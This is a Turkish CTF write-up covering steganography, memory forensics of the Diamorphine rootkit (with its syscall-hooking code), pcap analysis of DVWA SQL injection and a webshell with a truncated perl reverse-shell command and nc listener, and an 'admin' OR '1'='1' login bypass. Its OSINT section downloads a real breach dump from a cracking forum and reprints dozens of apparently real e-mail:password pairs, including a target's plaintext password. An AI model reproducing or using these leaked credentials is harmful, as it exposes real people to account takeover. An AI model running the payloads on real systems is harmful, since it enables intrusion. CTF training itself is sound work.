Bizimle "destan.mp4" isimli bir video paylaşıldı. Öncelikle, videonun içerisinden bir fikir edinebilmek adına videoyu izledik. Steganography sorusu olduğu çok belliydi. Bu yüzden internetten mp4 steganography araçlarını inceledik ve denedik (Audacity, steghide vb.). ExifTool ile dosyaya baktığımızda ("exiftool destan.mp4") Title, Subtitle, Comment ve daha fazlasında "123456789" olması dikkatimizi çekti ve şifrenin bu olabileceğini düşündük.

File Actions Edit Vi	iew Help		
Y Resolution Bit Depth Video Frame Rate Matrix Structure Media Header Version Media Create Date Media Modify Date Media Time Scale Balance Audio Format Audio Channels Audio Bits Per Sample Audio Sample Rate Handler Type Title Comment Subtitle Category Media Data Size Media Data Offset Image Size Megapixels Avg Bitrate Rotation	e k2(1) geoint c ne.exe chat-his ame black c k2.p cn e	72 24 1438908.416 1 0 0 0 1 0 0 0 1 2101280 0000:00:00 00:00:00 6534804:08:31 04:58 1438908416 0 mp4a 2 16 48000 Metadata 123456789	index.png : 40 _canakkale canakkale.jpg canakkale.jpg
(kali⊛kali)-[~/De	esktop]		

Daha sonra araştırmamıza devam ettik ve ses ve görüntü dosyaları için kullanılabilen, OpenPuff isimli aracı bulduk.

https://github.com/DominicBreuker/stego-toolkit https://embeddedsw.net/OpenPuff_Steganography_Home.html

OpenPuff aracında, "Steganography" sekmesinden "Unhide" seçtik. Açılan "Data Unhiding" penceresi üzerinde "Enable (B) ve (C)"yi deaktif ettik. Daha sonra, "Add Cariers" kısmından dosyamızı ekledik. "Cryptography (A)" kısmına daha önceden exif bilgilerinden bulduğumuz "123456789" değerini girdik. OpenPuff Mp4 (Stream) değerini bilmediğimiz için tek tek bit selection ayarı yaptık ve ekran görüntüsünde görüntülenen hatayı aldık.

Dpenl	Puff v4.01 - Data Unhiding				\times
Crypto Scram Passw od (Name Name	nsert 3 uncorrelated passwords (Min: 8, Ma pgraphy (A) measurements abling (C) words check A = H (X,Y) = Hamming d Task inter arrier selection [Order sensitive] e) Sort by name / (Bytes) Sort by tan.mp4	ax: 32) (B) Enable (B) (C) (C) (C) (C) (C) (C) (C) (C)	(3) Bit selection options 3 gpp (Stream) Aiff (Audio) Flv (Stream) Flv (Stream) Mp3 (Audio) K cam r wrong carrier order? n level?	imum y Low v dium h y High	
(-) M Add C	fove up selected / (+) Move down selecte Carriers Selected	ed / (Del) Delete selected 32 bytes	OK PCX (IIIIage) Pdf (File) Pdf >p) Unhidi	el	

Belirlediğimiz değerler sonucunda, OpenPuff Mp4 (Stream) değerini "1/2 [%50] - Maximum" olarak ayarladık ve "Unhide" butonuna basarak içerisinden "flag.txt"yi aldık.

	flag.txt	destan.mp4	Task completed - Info	ed	
🥅 flag.txt - Not Defteri			Taman		
Dosya Düzen Biçim Görünüm Yardım Flag{15_Temmuz_2016_Omer_Halise	demir}				
📑 OpenPuff v4.01 - Data Unhiding					×
 (1) Insert 3 uncorrelated passwords (Min: 8, M 	lax: 32) —		(3) Bit selection options		
Cryptography (A)	(B)				^
Scrambling (C)	Enable	e(B) 🗆 (C) 🗖	Bitmap (Image)		
Passwords check A	= B = C		⊕∎ Flv (Stream) ⊕∯ Jpeg (Image)		
H(X,Y) = Hamming distance (X)(Y)>=	25%	⊡-⊡ Mp3 (Audio) ⊡∎ Mp4 (Stream)		
(2) Carrier selection [Order sensitive] (Name) Sort by name / (Bytes) Sort by bytes Name destan.mp4	Bytes 80	Clear Chain Order # 00000		um .ow Inn High um	
(-) Move up selected / (+) Move down select Add Carriers Selected	ed / (Del) De	elete selected 80 bytes	Reset Options	Unhide	~ el

Flag{15_Temmuz_2016_Omer_Halisdemir}

13 - INFECTION-1

Bizimle "infection1.memory" isimli bir dosya paylaşıldı. Bu dosyayı "OSForensics" aracında "Memory Viewer" penceresinde "Static Analysis" kısmına "Image Case" olarak ekledik. Daha sonra "Extract & View Strings in the OSF File Viewer" seçeneğine tıkladık. Açılan pencrede, "Hex/String Viewer" bölümüne geldik ve "Extract" butonuna bastık. Böylece, memory imajımız içerisinde bulunan strings verilerini çıkarttık. "Export strings…" seçeneği üzerinden "Text file (.txt)" seçeneği seçerek verileri metin belgesi olarak dışarıya aktardık.

() () () () () () () () () () () () () (Live Analysis Static Analysis				
Start	Pilled Perd Perd Perd Perd Perd				
Auto Triage	Memory Dump File: C: Users raruk Desktop unrection I.mem Add Memory I	age to Case	C:\Users\Faruk\Desktop\infection1.mem		>
Manage Case	Open Memory Image in Extract & View Strings in the OSE File Viewer	1.00	Automatically open selected item in list	🖓 Visible 🔻	
Create Forensic Image			File Viewer Hex/String Viewer Text Viewer	r File Info Metadata OCR	
Add Device	Se Export List to	×	Extract Use Regex Filter Preset	5	
Reat Matural Marchine	4 A	0	Enter filter text Filter	Search	
Boot virtual Machine		~	If[f^f_f]f A	00 0x00000000 454D694C01000000	000001000000000
File System Browser	Düzenle 🔻 Yeni klasör	0	fcfMf	0x00000010 FFE709000000000	00000000000000000
File Viewer	Ad Dedistirme tarihi	Tür	fCfMgf	0x00000020 E300004000000080 0x00000030 E300404000000080	E300204000000080 E300604000000080
The viewer	Bu bilgisayar		fCfBf9	0x00000040 E30080400000080	E300A04000000080
System Information	3D Nesneler 16.07.2022 19:18	Meti	fyfsf	0x00000050 E300C0400000080	E300E04000000080
	😫 Belgeler		f[f^f	0x00000070 E300404100000080	E300€0410000080
Memory Viewer	🕹 İndirilenler		iff	0x00000080 E300804100000080	E300A04100000080
Hear Activity	Manager		f[f~f_f	0x00000090 E300C04100000080	E300E04100000080
USER ACTIVITY	Masaustu		fADF	0x000000A0 E300004200000080	£300204200000080
Passwords	👌 Müzikler		fvfsf	0200000000 2300404200000080	E300604200000080
rassworus	Resimler		f[f^f	0x00000000 E300C04200000080	E300E04200000080
File Name Search	- Kesmie		u6P@R	0x000000E0 E300004300000080	E300204300000080
The nume search	🖀 Videolar		/* XPM */	0x000000F0 E300404300000080	E30060430000080
Deleted Files Search	🖳 Verel Disk (C:)		ro root=UUID=fcd9d1b9-2fd9-46a1-80	0x00000100 E300804300000080	E300A04300000080
Perender Hes section			kernel=auto KEYBOARDTYPE=pc KEYT	0x00000110 E300C04300000080	E300E04300000080
Mismatch Files Search	Yeni Birim (D:) V K	>	Authu	0x00000120 E300004400000080	£300204400000080
			entiu	0x00000130 £300404400000080	£300604400000080
Program Artifacts	Dosya adı: exp.txt	~	cAMDu V	0x00000150 E300C04400000080	E300E04400000080
	Kavit türü: Text Files (.txt)	~	< >	0x00000160 E300004500000080	E30020450000080 ¥
ThumbCache Viewer	Linkin canan lance i una funch		Export strings.		>
Registry Viewer	A Klasörleri Gizle Kaydet İ	tal	Extraction Complete (6.340.345 found)		
Raw Disk Viewer				infection1.mem	
			1		
Email Viewer					
Create Index		_			
Carrow and the state					

Daha sonra, metin belgemizi daha rahat çalışabilmek adına Linux makinemize aktardık. Metin belgemizde çok fazla string bulunduğu için strings komutu üzerinden grep ile filtreleme yaparak bilgi daha kolay ve hızlı bilgi edinebileceğimizi düşündük. Bir rootkit aradığımız için anahtar kelimelerimiz sırasıyla şunlar oldu: "rootkit", "root", "http".

"strings exp.txt | grep rootkit"

Rootkit olarak filtrelediğimizde işe yarar bir bilgi edinemedik.



"strings exp.txt | grep root"

Root olarak filtrelediğimizde "localhost Diamorphine" hostname'ine sahip root kullanıcısının çeşitli işlemler yaptığını gördük.



"strings exp.txt | grep http"

Rootkit'in bir yerlerden indirildiğini düşündüğümüz için http filtrelemesini yaptık. Karşımıza bir github adresi çıktı.

"git clone https://github.com/m0nad/Diamorphine"

🕞 Kali-Linux-2022.2-vmware-a 🛛	
[□] □ 2 3 4 □	🗂 🌒 🌲 🖻 16:01 🖴 G
kali@kali: ~/Desktop	$\odot \odot \odot$
File Actions Edit View Help	
httpd_prewikka_script_t httpd_dspam_script_exec_t http://www.xiph.org/ https://www.xiph.org/ https.pyc https yptohttp ryptomttp.so	
libprotocol-http.so module-mts-protocol-tcp.so module-sts-protocol-tcp.so httplibmodule.so httplib.so httplib.so httplib.so httplib.so httplib.so httplib.py httplib.py httplib.py	
<pre>httplib httplib httplib.pyc bttplibmodule.so https: git-http-push git clone https://github.com/tomhughes/libdwarf.git git clone https://github.com/tomhughes/libdwarf.git git clone https://github.com/tomhughes/libdwarf.git git clone https://github.com/tomhughes/libdwarf.git git clone https://github.com/tomhughes/libdwarf.git mttp-backend remote-https://prelink# httnd t-remote-https</pre>	
[I
∏ Kali-Linux-2022.2-vmware-a ×	
I =	L 🔟 L 🔹 🚯 🏚 🛛 16:01 🗎
GitHub - m0nad/Diamorp × +	
$\leftarrow \rightarrow \mathbf{C} \ \mathbf{\hat{\omega}} \qquad \boxed{\bigcirc \ \mathbf{\hat{A}} \ \text{https://github.com/m0nad/Diamorphine}} \qquad \mathbf{\hat{x}}$	☆
🍣 Kali Linux 🎓 Kali Tools 💆 Kali Docs 🕱 Kali Forums 🐟 Kali NetHunter 🥌 Exploit-DB 🐚 Google Hacking DB 🗍 OffSec	

Product > ream Enterpris			Search		Sign in Sign up
뮤 m0nad / Diamorphine (P	ublic		<u></u> Notification	ons 🦞 Fork 332	☆ Star 1.1k
<> Code	Pull requests 1 🕟 Actions	🗄 Projects 🖽 Wiki	(!) Security	⊻ Insights	
ੀ master → ਸਿ 2 branches ਵ	∑ 0 tags	Go to f	ile Code -	About	
Monad Update README.md wi	th new references	8988105 on May 12, 2021	🕑 49 commits	LKM rootkit for Linux /4.x/5.x (x86/x86_64	Kernels 2.6.x/3.x and ARM64)
LICENSE.txt			8 years ago		
🗅 Makefile	pushing the code		9 years ago		kernel-module rootkit
B README.md	Update README.md with new ret	ferences	14 months ago		
🕒 diamorphine.c	Fix 5.7+ kallsyms_lookup_name #		14 months ago		
🗅 diamorphine.h	Fix 5.7+ kallsyms_lookup_name #		14 months ago	Ikm-rootkit redteam advanced-persistent-threa	
-(kali®kali)-[~/Desktop] [

İlgili link üzerinde bir süre araştırma yaptıktan sonra yüklenen rootkit modülünün çalıştırılabilmesi için "insmod diamorphine.ko" komutunun çalıştırılması gerektiğini gördük.

Kali-Linux-2022.2-vmware-a X				
S = D > O = 1 2 3 4 D	□ ●	🌲 🖹 16	5:08 4	6
kali@kali: -/Desktop				
File Actions Edit View Help				
<pre>(kali@ kali)-[~/Desktop] \$ strings exp.txt grep *insmod diamorphine.ko*</pre>				
Insmod alabophine.ko [rootā]ocalhost Diamorphine]# insmod diamorphine.ko [189 insmod diamorphine.ko Insmod diamorphine.ko insmod diamorphine.ko				
C_s C_s C_s C_s C_s C_s C_s C_s C_s C_s				
desktop				
e patri de la constance de la constance de la constance de la constance de la constance de la constance de la c				

"strings exp.txt | grep 'insmod diamorphine.ko'"

Bu noktadan sonra ilgili rootkit modülünün çalıştırıldığından emin olduk.

Flag{diamorphine}

14 - INFECTION-3

Bizden hook edilmiş syscall isimleri isteniyordu. Bu yüzden, öncelikle Linux Syscall tablosunu inceledik.

https://filippo.io/linux-syscall-table/

Daha sonra, Github adresini bulduğumuz "Diamorphine rootkit"e ait dosyaları inceledik

https://github.com/m0nad/Diamorphine

Fonksiyon implementasyonlarının yapıldığı "diamorphine.c" dosyasını incelerken "orig" ve "hacked" ön ekleri kullanılarak aynı syscall isimlerinin kullanıldığını gördük. (hacked_getdents, hacked_getdents64, hacked_kill, orig_getdents, orig_getdents64, orig_kill).

Flag{sys_kill,sys_getdents,sys_getdents64}

401	#if LINU	X_VERSION_CODE > KERNEL_VERSION(4, 16, θ)
402		orig_getdents = (t_syscall)sys_call_table[NR_getdents];
403		orig_getdents64 = (t_syscall)sys_call_table[NR_getdents64];
404		orig_kill = (t_syscall)sys_call_table[NR_kill];
405	#else	
406		<pre>orig_getdents = (orig_getdents_t)sys_call_table[NR_getdents];</pre>
407		<pre>orig_getdents64 = (orig_getdents64_t)sys_call_table[NR_getdents64];</pre>
408		<pre>orig_kill = (orig_kill_t)sys_call_table[NR_kill];</pre>
409	#endif	
410		
411		unprotect_memory();
412		
413		sys_call_table[NR_getdents] = (unsigned long)
414		sys_call_table[NR_getdents64] = (unsigned long) <pre>hacked_getdents64;</pre>
415		sys_call_table[NR_kill] = (unsigned long)
416		
417		<pre>protect_memory();</pre>
418		

```
419
           return 0;
420 }
421
422 static void exit
423 diamorphine_cleanup(void)
424 {
425
           unprotect_memory();
426
427
          __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
428
           ______sys_call_table[__NR_kill] = (unsigned long) orig_kill;
429
430
          protect_memory();
431
432 }
433
434 module_init(diamorphine_init);
435 module_exit(diamorphine_cleanup);
436
437 MODULE_LICENSE("Dual BSD/GPL");
438 MODULE_AUTHOR("m0nad");
```

439 MODULE DESCRIPTION("LKM rootkit"):

15 - N-T-W-1

Bizimle "network.pcap" isimli bir dosya paylaşıldı. Bu dosyayı wireshark aracı ile açtık.

Zafiyetli "dvwa" makinesindeki "sqli" açığı sömürülüyor. Sorunun başlığında belirtildiği gibi flagımızı girdik.

🕞 Kali	-Linux-2022.2-vmwa	re-a×								
š .	= 💼 🍃 📦 🗉	∽ 1 2	3 4 🛛 📶						14:36	🔒 G
						netwo	k.pcap			$\bigcirc \bigcirc \otimes$
<u>F</u> ile <u>I</u>	<u>E</u> dit <u>V</u> iew <u>G</u> o <u>C</u> a	pture <u>A</u> nalyze	e <u>S</u> tatistics Te	lephony <u>W</u> ireles	ss <u>T</u> ools <u>H</u> elp					
⊿□	I 🖉 💿 🖬 🛛	🗎 🔀 🎑	$\alpha \leftrightarrow \gamma$	ો •← →• 📃		3				
Арр	ly a display filter <	:Ctrl-/>							(+
No. ₊⊥ → Frau	Time 1 0.000000 2 0.014370 3 4.391503 4 4.404127 5 13.504481 6 13.515898 7 83.981680 8 84.002838 9 84.002838 9 84.002838 10 84.114391 11 84.128343 me 1: 541 bytes	Source 172.16.8 172.16.8 172.16.8 172.16.8 172.16.8 172.16.8 172.16.8 172.16.8 172.16.8 172.16.8 172.16.8 172.16.8 172.16.8 0 wire (42 Wware 28:0	.50 .63 .50 .63 .50 .63 .50 .63 .50 .63 .50 .63 .28 bits), 54 .237 (00:0c::	Destination 172.16.8.63 172.16.8.63 172.16.8.63 172.16.8.63 172.16.8.63 172.16.8.63 172.16.8.50 172.16.8.50 172.16.8.50 172.16.8.63 172.16.8.50 172.1	Protocol HTTP HTTP HTTP HTTP HTTP HTTP TCP HTTP HTT	Length 541 558 541 4709 574 5021 544 4410 365 714 4885 6) :43:88	nfo GET /dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit HT HTTP/1.1 200 OK (text/html) GET /dvwa/vulnerabilities/sqli/?id=%22&Submit=Submit HT HTTP/1.1 200 OK (text/html) GET /dvwa/vulnerabilities/sqli/?id=123&Submit=Submit HT 30 → 50392 [ACK] Seq=1 Ack=479 Win=215 Len=4344 TSval=3 HTTP/1.1 200 OK (text/html) GET /dvwa/vulnerabilities/sqli/?id=123%27%20UNION%20ALL HTTP/1.1 200 OK (text/html) GET /dvwa/vulnerabilities/sqli/?id=123%27%20UNION%20ALL HTTP/1.1 200 OK (text/html) GET /dvwa/vulnerabilities/sqli/?id=123%27%20UNION%20ALL HTTP/1.1 200 OK (text/html) GET /dvwa/vulnerabilities/sqli/?id=123%27%20UNION%20ALL HTTP/1.1 200 OK (text/html) HTTP/1.1 200 OK (text/html) HTTP/1.1 200 OK (text/html)	TP/1.1 TP/1.1 hit=Submit TP/1.1 1992 TSecr= %20SELECT%	HTTP/1.1 2483657676 320CONCAT%28	[TC 80x1
 Int Trai Hyp 0000 	ernet Protocol nsmission Contr ertext Transfer 00 0c 29 d1 43	Version 4, 5 ol Protocol Protocol	Src: 172.16.0 , Src Port: 3	08 00 45 00	2.16.8.63 rt: 80, Seq: 1,	Ack: 1,	Len: 475			
	02 0f 04 fb 40 08 3f c4 c8 00) 00 40 06) 50 1a 6b	cb 5c ac 10 ad 38 05 7b	08 32 ac 10 be c9 80 18	@@\\ ? Pk8{	• 2 • •				
. 🕘 🗹	network.pcap						Packets: 4226 · Displayed: 4226 (100.04	%)	Profi	ile: Default

Flag{sql_injection}

16 - N-T-W-2

Bizimle "network2.pcap" isimli bir dosya paylaşıldı. Bu dosyayı wireshark aracı ile açtık. Soruda shell dosyasından bahsedildiği için Wireshark üzerinden File > Export Objects > HTTP seçeneklerini seçerek 149 numaralı paketin yani ilgili shell dosyasının bulunduğu bölüme geldik.

Dosya ismi resimde sarı olarak vurgulanmıştır.

🕞 Kal	i-Linux-2022.2-vmwar	e-a×									
š I	= 🖻 🍃 🝅 🗉] ~ 1 2	34 🖌 💪						□ ●	🌲 🔋 14:41	🔒 G
						network2.pcap					
File	<u>E</u> dit <u>V</u> iew <u>G</u> o <u>C</u> ar	oture <u>A</u> naly	ze <u>S</u> tatistics T	elephony <u>W</u> irele	ss <u>T</u> ools <u>H</u> elp						
	I 🖉 💿 🖬 🚺	ì 🔀 🙆	Q ← →	ሳ •ሩ ት• 📑		9					
📕 Арр	ly a display filter <(Ctrl-/>								(+
No.	Time	Source		Destination	Protocol L	ength Info					
	145 65.728712	172.16.8	3.50	172.16.8.52	ТСР	66 43035 → 21 [ACK] Seq=172 Ack=219) Win=64256 Len=0 TS	val=3754257078	3 TSecr=1463	3346
Г	146 65.729763	172.16.8	3.50	172.16.8.52	TCP	74 34039 → 80 [SYN] Seq=0 Win=64240) Len=0 MSS=1460 SAC	K_PERM=1 TSval	L=375425707	ЭТ
	147 65.730017	172.16.8	3.52	172.16.8.50	TCP	74 80 → 34039 [SYN, ACK] Seq=0 Ack=	=1 Win=28960 Len=0 MS	SS=1460 SACK_F	PERM=1 TSva	1=14
	148 65.730040	172.16.8	3.50	172.16.8.52	TCP	66 34039 → 80 [ACK] Seq=1 Ack=1 Win	=64256 Len=0 TSval=	3754257079 TSe	ecr=1463347	
+•	149 65.730828	172.16.8	3.50	1/2.16.8.52	HTTP	654 GET / DBHK1d.	php?uBBBS2=nohup%20p	0er1%20-M10%20-e%20%	27%24p%3dfork%	63bex1t%2c1	F%28
	150 65.731067	172.16.8	3.52	172.16.8.50	ТСР	00 80 → 34039 [ACK Seq=1 ACK=589 W	Vin=30208 Len=0 TSVa.	1=1463347 TSec	cr=37542570	30
	151 05.950042	172.10.0	0.52	172,10,8,50	TCP	$7450938 \rightarrow 4444$	[SYN] Sed-0 MIN-292	200 Len-0 M55-1400 5/	MCC-1460 CACK	/dl-1403403 / DEDM-1 Te	156
	152 65 956347	172.10.0	2 52	172.10.0.52	TCP	66 50938 → 4444	[ACK] Seg=1 Ack=1 W	lin=20312 Len=0 TSva	MSS-1400 SAU		7a1-
	154 65 965017	172.10.0	3.52	172.16.8.50	нттр	279 HTTP/1 1 200	OK (text/html)	vin-29512 Len-6 15va.	1-1403403 1300	-57542575	55
	155 65.965054	172.16.8	3.50	172.16.8.52	TCP	66 34039 → 80 [ACK1 Seg=589 Ack=214	4 Win=64128 Len=0 TS	val=3754257314	4 TSecr=146	3405
			(0000 bit-)								
→ Fra	me 154: 279 byte	s on wire	(2232 D1ts),	2/9 bytes ca	ptured (2232 bits)		00.07)				
> Eth	ernet II, Src: v	mware_25:	(1:00 (00:0C:	29:25://:D0), 9 52 Dot: 17	DST: VMWare_28:02	:37 (00:00:29:28:	02:37)				
	nemiesion Contro	l Protoco	SIC: 172.10. 1 Src Port:	80 Det Port:	2.10.0.00 34030 Sea: 1 Ac	k 589 Len: 212					
Hyp	ertext Transfer	Protocol	I, SIC POIL.	oo, DSt Port.	34039, Seq. 1, Au	.K. 309, Len. 213					
→ Lin	e-based text dat	a: text/h	tml (1 lines)				Wireshar	rk · Export · HTTP object list) 🔿 🙁 🗖
						Text Filter:			Content Type:	All Content-Typ	oes 👻
						Packet 👻 Host	name Content Type	Size Filename			
						154 172.1	6.8.52 text/html	44 bytes %29%7bsyster	m%20%241%3b%	67d%7d%3b%	27%2
0000	00 00 20 20 02	27 00 00	20 25 77 be	08 00 45 00)(.7)%						
0010	00 00 29 28 02 01 09 6e 00 40	00 40 00	63 68 ac 10	08 34 ac 10	n@@_ch4						
0020	08 32 00 50 84	f7 b3 df	39 cc 06 6f	da 01 80 18	2 P 9 0			Save Save All	Preview	Close H	elp
. 🔍 🗹	network2.pcap						Packets	: 1414 · Displayed: 1414 (10	0.0%)	Prof	ile: Default

Flag{bBHk1d.php}

17 - N-T-W-3

Bizimle "network2.pcap" isimli bir dosya paylaşıldı. Bu dosyayı wireshark aracı ile açtık. Bir önceki sorudaki paket akışının devamında shell ile bağlantı kuran *.50 ip'li kişinin 4444 portunu kullandığını gördük. Kültleşmiş olan "nc -lvnp 4444" bağlantısından aklımıza geldi.

🕞 Kali-Linux-2022.2-vmware	e-a×						
📉 📦 💼 📄 🍃] 🗸 1 2 3 4 💪					•) 🌲 🖻 14:41 🔒 G
				twork2.pcap			
	pture <u>A</u> nalyze <u>S</u> tatistics T	elephon <u>y W</u> ireless <u>T</u> ool	s <u>H</u> elp				
	Ì 🔀 🙆 ९ २ २	∩ ·← →· 📃 📃	📑				
Apply a display filter <0	Ctrl-/>						+ 🗖
No. Time	Source	Destination	Protocol Leng	gth Info	-172 Ack-210 Win-64256	- Lon-0 TSug]-2754257	078 TSoor=1462244
	172.16.8.50	172.16.8.52	TCP	74 34039 → 80 [SYN] Sec	g=0 Win=64240 Len=0 MSS	S=1460 SACK PERM=1 TS	val=3754257079 T
147 65.730017	172.16.8.52	172.16.8.50	TCP	74 80 → 34039 [SYN, AC	K] Seq=0 Ack=1 Win=2896	00 Len=0 MSS=1460 SAC	K_PERM=1 TSval=14
148 65.730040	172.16.8.50	172.16.8.52	TCP	66 34039 → 80 [ACK] Sec	q=1 Ack=1 Win=64256 Len	1=0 TSval=3754257079	TSecr=1463347
	172.16.8.52	172.16.8.50	TCP	66 80 → 34039 [ACK] Set	a=1 Ack=589 Win=30208 L	en=0 TSval=1463347 T	Secr=3754257080
151 65.956042	172.16.8.52	172.16.8.50	TCP	74 50938 → 4444 [SYN] S	Seq=0 Win=29200 Len=0 M	ISS=1460 SACK_PERM=1	TSval=1463403 TSe
152 65.956064	172.16.8.50	172.16.8.52	TCP	74 4444 → 50938 [SYN, A	ACK] Seq=0 Ack=1 Win=65	5160 Len=0 MSS=1460 S	ACK_PERM=1 TSval=
153 65.956347	172.16.8.52	172.16.8.50	HTTP 2	66 50938 → 4444 [ACK] S 279 HTTP/1.1 200 OK (16	Seq=1 ACK=1 W1n=29312 L ext/html)	en=0 ISVal=1463403 I	Secr=3754257305
155 65,965054	172.16.8.50	172.16.8.52	ТСР	66 34039 → 80 [ACK] Sec	a=589 Ack=214 Win=64128	3 Len=0 TSval=3754257	314 TSecr=146340
▶ Frame 154: 279 byte	s on wire (2232 bits)	, 279 bytes captured	(2232 bits)				
Ethernet II, Src: V	/Mware_25:77:b6 (00:0c	:29:25:77:b6), Dst: \	/Mware_28:02:3	37 (00:0c:29:28:02:37)			
 Internet Protocol V Transmission Contro 	Protocol. Src: 1/2.16	.8.52, DST: 172.16.8. 80. Dst Port: 34039.	.50 Seq: 1Ack:	589. Len: 213			
Hypertext Transfer	Protocol						
Line-based text dat	a: text/html (1 lines)		2	Wireshark · Export · HTTF	P object list	0
				Text Filter:		Content Type	: All Content-Types 👻
				Packet 🔻 Hostname	Content Type Size File	ename	
				154 172.16.8.52	text/html 44 bytes %	29%7bsystem%20%241%3	3b%7d%7d%3b%27%2(
0000 00 0c 29 28 02	37 00 0c 29 25 77 b6	08 00 45 00 ·)(·	7 · ·)%w · · · E ·				
0010 01 09 6e 00 40 0020 08 32 00 50 84	00 40 06 63 68 ac 10	08 34 ac 10 n @	@ ch 4		Save	Save All Preview	Close Help
00 32 00 30 84		<u>uu 01 00 10</u> 2.P.	5.0				
Image: Image:					Packets: 1414 · Display	yed: 1414 (100.0%)	Profile: Default

Flag{172.16.8.50,4444}

18 - GEOSINT

Bizle paylaşılan "geoint-question.png" dosyasını indirdim ve yer tespiti yapmaya çalıştım. İlk dikkatimi çeken "Pasta Fresca" dükkanı oldu fakat çok fazla şubesi olduğu için ve benzer yapılarda oldukları sebebiyle yer tespiti yapamadım. Bu yuzden fotoğrafın sağ tarafında kalan "Chapati" adlı küçük dükkana yoğunlaştım ve yer tespitini yaptım.



"Restaurant-macaroni.de" websitesinin iletişim sayfalarından e-posta adresi bulabilceğimi düşündüm ve iletişim sayfalarından "rest@macaroni-aachen.de" e-posta adresine ulaştım.



Mail adresini not aldım ve "haveibeenpwned" sitesi üzerinden şifre ifşası olmuş mu diye kontrol ettim ve 2020'de hacklenen "123RF" veritabanının içerisinde olduğunu gördüm.



Veritabanın paylaşıldığı forumları vs. gezdim ve "cracked.to" forumunda 265MB'lık 123RF sızıntısı olduğunu gördüm.

< > C # S VPN a cracked.io/Thr	ead-Supreme- * DEHASHED%%EF%B8%8F-THE-FINAL-CHUCKY-PREMIUM-DATABASES-LEAKS-%%EF%B8%8F-123RF-DATPIFF-MORE *	K O S > C -
🛠 Horne 🔺 Upgrade 🏓 Help	🗃 Credits 🔍 Search 🔒 Auth 差 Refunds 🚍 Extras	💄 Login 🛛 Register
1 2 3 4 5	14 Next 🗸	
by Evil_Corporation - 09	THE FINAL CHUCKY PREMIUM DATABASES LEAKS 🥠 123RF + DATPIFF + MORE 🚖	⊙ 3673
Evil_Corporation	OP 09 April, 2022 - 03:20 PM	Subscribe #1
	LET ME KNOW IF MORE NEEDED 🚉	
	SOME PAID BASES LEAKS BY ME FROM OLD SHOP OF CHUCKY MAILHA	SH DOT CC FORUM 🞇



İlgili forumdaki indirme linkini kullanarak leak edilen parola listesini edindim.



Notepad++ uygulaması ile hedef e-posta adresimizi aradım ve dehashed (açık haldeki) parolayı kopyalayıp sha1 algoritması ile hashledim.

₩ C:\Users\ File Edit	am\Desktop\hackaradeniz\123rf.com.txt - Notepad++ Search View Encoding Language Settings Tools Macro Run Plugins Window ?				- 0	××
ے 🔁 🔁	e r 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1					
	🛛 🗖 🖂 🖓 🖓 🖓 🖓 🖓 🖓 🖓 🖓 🖓 🖓 🖓					• •
361097	lightning420@msn.com:purple17					
361098	jiayingsiow@hotmail.com:purple17					
361099	bocong17@naver.com:purple17					
361100	choicespsych@yahoo.com:purple17					
361101	willyan.walesco@hotmail.com:w895623					
361102	el_papaso_alex@hotmail.com:7895123852					
361103	info@theadfmstore.com:38806969					
361104	Johnneydon@yahoo.com:1973777377					
361105	dj_zev_rowan@yahoo.com:Beatport1					
361106	meetdholarial@gmail.com:9820541702					
361107	mary.vink@hotmail.com:Mienkelief1					
361108	1010.0966(notmail.com:zmenkrac					
361109	Jariwalaraji@gmail.com:mwjjairi					
361110	deatnap22@yanoo.com:deanna65					
361112	apetersen///gyano.com:deannacs					
361112	ccevansigmail.com.numberonei					
361114	gattapiashanthieddywilegmail.com.numberonei					
361115	wellington alvesdasilvaðhotmail com:84197939Well					
361116	vestingeon arvesdastrivaene harvesno 419 / 55 weil					
361117	alexis, markaris@dmail.com:Alexis/213					
361118	mutiara, blue@gmail.com:fiwucnnb					
361119	mxht05@gmail.com:80gxfhth					
361120	alikaremak@gmail.com:4gh5jhbg					
361121	g.brem@oxivo.eu:Amsterdam 1975					
361122	a4958051@drdrb.net:testtest23					
361123	leanneflower@eurika-trc.co.uk:123rflmw01					
361124	dnadams11@comcast.net:Breesbayou2					
361125	fabio@greenworldsolutions.eu:dmescable					
361126	sittipong.w@18mongkut.com:mngkt456123					
361127	elkingams@yahoo.com:0120186815ams					
361128	aldo.escareno.silva@gmail.com:amehgwvm					
361129	kagurazakarasen@gmail.com:BanBan1					
361130	banban@amy.hi-ho.ne.jp:BanBanBan1					
361131	jmarq91@gmail.com:jxn1jwwt					
361132	heatherj55@aol.com:october269					
361133	valnelsin@gmail.com:6bylaxb1					
361134	tuny93@gmail.com:likeyou					
361135	cintiamariay@hotmail.com:fecantvm					
361136	acpanda95@gmall.com;quxqnKqz					
361137	ncuss01@ncu.eau.tw:ncu3801					
Normal text	ile	ength : 266.369.829 lines : 7.886.945	In: 361.117 Col: 1 Sel: 41 L1	Windows (CR LF)	UTE-8	INS
	1			(crt l)		

SHA1 and other hash functions online generator

Alexis024177243	hash

sha-1 ~

Result for sha1: d26fd6a8b28f2c2b3f2cdc3ac1c9d52bb41ca4ce

SHA-1 MD5 on Wikipedia

We love SPAIN and oldpics.org

Flag{d26fd6a8b28f2c2b3f2cdc3ac1c9d52bb41ca4ce}

19 - CyberCafe

Verilen hedef sitede Cyber Cafe Management System Admin giriş panelini buldum fakat giriş yapmamı sağlayacak hesap bilgisine sahip değilim. Bu yüzden Cyber Cafe sistemine ait olan geçmiş açıkları (CVE) kontrol ettim ve CVE-2022-29009 (<u>https://www.exploit-db.com/exploits/50355</u>) kodlu USERNAME/PASSWORD kısmında SQL Injection yaparak Authentication Bypass yapmamıza olanak sağlayan bir açıkla karşılaştım.

"admin' OR '1'='1" login bypass payloadı kullanılarak giriş işlemi başarıyla gerçekleşti.

< > C 器 🔍 🖓 🗁 challenge105. hackkaradeniz.xyz /k1j2uzni	2q00b/index.php		🛚 🕲 🖉 🗠 🖉 🖉 🖉	± ■ #
	Cyber Cafe Management System	•		
	USER NAME ' OR 1			•
	FASSWORD Forgot Password? SIGN IN			
			•	

Cyber Cafe Management System Admin paneline erişim sağladıktan sonra sitede erişime izin verilen kısımların Search kısmı olduğunu keşfettim ve buradan kullanıcı verisi çekebileceğimizi düşündüm.

< >		challenge105.ha	ackkaradeniz.xyz/k1j2uzn2q00b/dashboard.php			ଝ๏ও≻♡│< <mark>°</mark> °° < & T ■ ≢		
CCN	CCMS ADMIN Admin							
æ	Dashboard		Dashboard			Dashboard		
	Computer	>						
4	Users	>	4 Total Number of Users	¢ *	5 Total Computers	Ø *		
Q	Search							
